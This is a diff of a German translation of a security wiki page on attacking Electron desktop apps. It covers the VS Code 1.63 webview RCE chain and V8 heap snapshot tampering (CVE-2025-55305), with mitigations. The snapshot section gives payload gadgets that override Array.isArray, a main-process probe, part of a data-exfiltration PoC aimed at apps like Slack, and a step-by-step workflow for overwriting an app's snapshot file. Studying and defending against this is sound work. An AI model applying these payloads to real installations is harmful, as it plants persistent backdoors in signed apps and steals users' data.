For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron apps sollten eine **Content Security Policy (CSP)** haben, um **XSS attacks** zu **verhindern**. Die **CSP** ist ein **security standard**, der hilft, die **Ausführung** von **untrusted code** im Browser zu **verhindern**.
|
||||
Electron-Apps sollten eine **Content Security Policy (CSP)** haben, um **XSS attacks** zu verhindern. Die **CSP** ist ein **Sicherheitsstandard**, der hilft, die **Ausführung** von **untrusted code** im Browser zu verhindern.
|
||||
|
||||
Sie wird üblicherweise in der **`main.js`**-Datei oder in der **`index.html`**-Vorlage mit der CSP in einem **meta tag** konfiguriert.
|
||||
Sie wird üblicherweise in der **`main.js`** Datei oder in der **`index.html`** Vorlage konfiguriert, mit der CSP in einem **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -403,14 +403,14 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
Diese echte Kette betraf Visual Studio Code 1.63 (CVE-2021-43908) und zeigt, wie ein einzelnes markdown-driven XSS in einem webview zu vollständiger RCE eskaliert werden kann, wenn CSP, postMessage und scheme handler falsch konfiguriert sind. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||
- First XSS via webview CSP: Die generierte CSP enthielt `style-src 'self' 'unsafe-inline'`, was inline-/style-basierte Injection in einem `vscode-webview://` Kontext erlaubte. Die Payload beaconte zu `/stealID`, um die extensionId der Ziel-webview zu exfiltrieren.
|
||||
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||||
- Second XSS via postMessage trust: Die äußere webview vertraute `window.postMessage` ohne strikte origin/type-Prüfungen und lud Angreifer-HTML mit `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: Die Payload schrieb `file:///...` zu `vscode-file://vscode-app/...` um und ersetzte `exploit.md` durch `RCE.html`, wodurch schwache Pfadvalidierung ausgenutzt wurde, um eine privilegierte lokale Ressource zu laden.
|
||||
- RCE in Node-enabled context: Das geladene HTML wurde mit verfügbaren Node APIs ausgeführt und ermöglichte OS-Kommandoausführung.
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
@ -426,14 +426,14 @@ Weiterführende Lektüre zu postMessage-Vertrauensproblemen:
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool, um Fehlkonfigurationen und Sicherheits-Anti-Patterns in Electron-basierten Anwendungen zu identifizieren.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) zum Prüfen auf verwundbare Drittanbieter-Bibliotheken
|
||||
- [**Electro.ng**](https://electro.ng/): Bezahlpflichtig
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool, um Fehlkonfigurationen und Sicherheits-Anti-Pattern in Electron-basierten Anwendungen zu identifizieren.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source-VS Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) um auf verwundbare Third-Party-Bibliotheken zu prüfen
|
||||
- [**Electro.ng**](https://electro.ng/): Bezahlpflichtig.
|
||||
|
||||
## Labs
|
||||
## Labore
|
||||
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) findest du ein Lab, um anfällige Electron-Apps auszunutzen.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) findest du ein Lab, um verwundbare Electron-Apps auszunutzen.
|
||||
|
||||
Einige Befehle, die dir im Lab helfen werden:
|
||||
```bash
|
||||
@ -458,18 +458,18 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Lokal backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron und Chromium-basierte Apps deserialisieren beim Start einen vorgefertigten V8 heap snapshot (v8_context_snapshot.bin, und optional browser_v8_context_snapshot.bin), um jede V8 isolate (main, preload, renderer) zu initialisieren. Historisch behandelten Electron’s integrity fuses diese Snapshots nicht als ausführbaren Inhalt, sodass sie sowohl fuse-basierte Integritätsprüfungen als auch betriebssystemseitige Code-Signing-Checks umgingen. Infolgedessen erlaubte das Ersetzen des Snapshots in einer für den Nutzer beschreibbaren Installation eine unauffällige, persistente Code-Ausführung innerhalb der App, ohne die signierten Binaries oder ASAR zu verändern.
|
||||
Electron- und Chromium-basierte Apps deserialisieren beim Start einen vorgefertigten V8-Heap-Snapshot (v8_context_snapshot.bin und optional browser_v8_context_snapshot.bin), um jede V8 isolate (main, preload, renderer) zu initialisieren. Historisch behandelten Electron’s integrity fuses diese Snapshots nicht als ausführbaren Inhalt, sodass sie sowohl fuse-basierter Integritätsdurchsetzung als auch OS code-signing checks entgingen. Folglich ermöglichte das Ersetzen des Snapshots in einer für den Benutzer beschreibbaren Installation eine unauffällige, persistente Ausführung von Angreifer-JavaScript innerhalb der App, ohne die signierten Binaries oder ASAR zu verändern.
|
||||
|
||||
Key points
|
||||
- Integritätslücke: EnableEmbeddedAsarIntegrityValidation und OnlyLoadAppFromAsar validieren App-JavaScript innerhalb des ASAR, decken jedoch keine V8 heap snapshots ab (CVE-2025-55305). Chromium prüft Snapshots ebenfalls nicht auf Integrität.
|
||||
- Attack preconditions: Lokales Schreibrecht in das Installationsverzeichnis der App. Das ist üblich auf Systemen, auf denen Electron-Apps oder Chromium-Browser unter für den Nutzer beschreibbaren Pfaden installiert sind (z. B. %AppData%\Local unter Windows; /Applications mit Vorbehalten auf macOS).
|
||||
- Effect: Zuverlässige Ausführung von Angreifer-JavaScript in jeder isolate durch Überschreiben eines häufig verwendeten builtin (ein „gadget“), was Persistenz und Umgehung der Code-Signing-Verifizierung ermöglicht.
|
||||
- Affected surface: Electron apps (even with fuses enabled) und Chromium-basierte Browser, die Snapshots aus für Nutzer beschreibbaren Speicherorten laden.
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation und OnlyLoadAppFromAsar validieren App-JavaScript innerhalb der ASAR, deckten aber V8-Heap-Snapshots nicht ab (CVE-2025-55305). Chromium prüft Snapshots ebenfalls nicht auf Integrität.
|
||||
- Attack preconditions: Lokales Schreiben von Dateien in das Installationsverzeichnis der App. Das ist häufig auf Systemen, auf denen Electron-Apps oder Chromium-Browser unter für den Benutzer beschreibbaren Pfaden installiert sind (z. B. %AppData%\Local unter Windows; /Applications mit Einschränkungen auf macOS).
|
||||
- Effect: Zuverlässige Ausführung von Angreifer-JavaScript in jeder isolate durch Überschreiben eines häufig verwendeten builtin (einem “gadget”), wodurch Persistenz erreicht und code-signing verification umgangen werden kann.
|
||||
- Affected surface: Electron-Apps (selbst mit aktivierten fuses) und Chromium-basierte Browser, die Snapshots aus für den Benutzer beschreibbaren Speicherorten laden.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
- Verwende das vorgebaute electron/mksnapshot, um ein payload JS in einen Snapshot zu kompilieren und die v8_context_snapshot.bin der Anwendung zu überschreiben.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
@ -485,11 +485,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (verschiedenen Code in main vs. renderer ausführen)
|
||||
- Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen sind im main process isolate vorhanden.
|
||||
- Browser/renderer detection: Browser-only globals like alert sind verfügbar, wenn im Dokumentkontext ausgeführt.
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Main process detection: Node-only globals wie process.pid, process.binding() oder process.dlopen sind im main process isolate vorhanden.
|
||||
- Browser/renderer detection: Browser-only globals wie alert verfügbar sind, wenn Code in einem document context ausgeführt wird.
|
||||
|
||||
Beispiel-Gadget, das einmal die main-process Node-Fähigkeiten sondiert
|
||||
Beispiel-Gadget, das einmal die main-process Node capabilities abfragt
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -518,7 +518,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context Datendiebstahl PoC (z. B. Slack)
|
||||
Renderer/browser-context Datenexfiltration PoC (z. B. Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -543,30 +543,26 @@ return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Operator-Workflow
|
||||
1) Schreibe payload.js, das ein häufig verwendetes builtin überschreibt (z. B. Array.isArray) und optional pro isolate verzweigt.
|
||||
2) Erstelle das Snapshot ohne Chromium-Quellen:
|
||||
1) Erstelle payload.js, das ein gängiges builtin (z. B. Array.isArray) überschreibt und optional pro isolate verzweigt.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Überschreibe die Snapshot-Datei(en) der Zielanwendung:
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Starte die Anwendung; das Gadget wird ausgeführt, sobald das gewählte builtin verwendet wird.
|
||||
4) Starte die Anwendung; das Gadget wird immer dann ausgeführt, wenn das gewählte builtin verwendet wird.
|
||||
|
||||
Hinweise und Überlegungen
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistenz: Das Ersetzen des Snapshots in einer für den Benutzer beschreibbaren Installation übersteht typischerweise App-Neustarts und sieht wie eine signierte, legitime App aus.
|
||||
- Chromium browsers: Das gleiche Manipulationskonzept gilt für Chrome/Derivate, die in benutzerbeschreibbaren Pfaden installiert sind. Chrome hat andere Integritätsmitigationen, schließt aber physisch-lokale Angriffe explizit aus seinem Threat Model aus.
|
||||
Anmerkungen und Überlegungen
|
||||
- Integrity/signature bypass: Snapshot-Dateien werden von Code-Signing-Prüfungen nicht als native ausführbare Dateien behandelt und waren (historisch) nicht durch Electron’s fuses oder Chromium-Integritätskontrollen abgedeckt.
|
||||
- Persistence: Das Ersetzen des Snapshots in einer benutzerschreibbaren Installation überdauert typischerweise App-Neustarts und erscheint wie eine signierte, legitime App.
|
||||
- Chromium browsers: Dasselbe Manipulationskonzept gilt für in benutzerschreibbaren Verzeichnissen installierte Chrome/derivatives. Chrome verfügt über weitere Integritätsmaßnahmen, schließt jedoch physisch lokale Angriffe ausdrücklich aus seinem threat model aus.
|
||||
|
||||
Erkennung und Gegenmaßnahmen
|
||||
- Behandle Snapshots als ausführbaren Inhalt und beziehe sie in Integritätsprüfungen ein (CVE-2025-55305 fix).
|
||||
- Behandle Snapshots als ausführbare Inhalte und beziehe sie in Integritätsprüfungen ein (CVE-2025-55305 fix).
|
||||
- Bevorzuge nur für Admins beschreibbare Installationsorte; erstelle Baselines und überwache Hashes für v8_context_snapshot.bin und browser_v8_context_snapshot.bin.
|
||||
- Erkenne frühes Runtime-Builtin-Überschreiben und unerwartete Snapshot-Änderungen; alarmiere, wenn deserialisierte Snapshots nicht den erwarteten Werten entsprechen.
|
||||
- Erkenne frühzeitiges Überschreiben von builtins zur Laufzeit und unerwartete Snapshot-Änderungen; löse Alarm aus, wenn deserialisierte Snapshots nicht den erwarteten Werten entsprechen.
|
||||
|
||||
## **References**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user